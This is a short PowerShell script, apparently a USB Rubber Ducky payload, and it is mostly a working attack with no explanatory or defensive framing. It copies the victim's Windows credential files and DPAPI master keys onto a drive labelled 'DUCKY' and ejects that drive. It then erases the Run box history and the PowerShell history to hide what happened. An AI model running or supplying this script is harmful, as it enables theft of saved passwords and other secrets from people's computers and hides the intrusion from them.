# Variables $drive = (Get-Volume -FileSystemLabel 'DUCKY').DriveLetter $userProfile = $Env:UserProfile # Get the credential files $credentialFiles = @(Get-ChildItem -Force "${userProfile}\AppData\Local\Microsoft\Credentials\") # Get the first credential file for now $credentialFileName = $credentialFiles[0].Name $credentialFilePath = $credentialFiles[0].FullName # Copy to ducky Copy-Item $credentialFilePath "${drive}:\credential1" # Get the gUIDMasterKey $protectFolder = (Get-ChildItem -Directory -Force "${userProfile}\AppData\Roaming\Microsoft\Protect\").FullName # Copy master key to ducky $index=1 Get-ChildItem -Force -Recurse $protectFolder | ForEach-Object { # $fileName = $_.Name $filePath = $_.FullName Copy-Item $filePath "${drive}:\key${index}" } # Eject $driveEject = New-Object -ComObject Shell.Application $driveEject.Namespace(17).ParseName("${drive}:").InvokeVerb("Eject") # Cleanup traces # Delete run box history reg.exe delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f # Delete Powershell history Remove-Item (Get-PSreadlineOption).HistorySavePath exit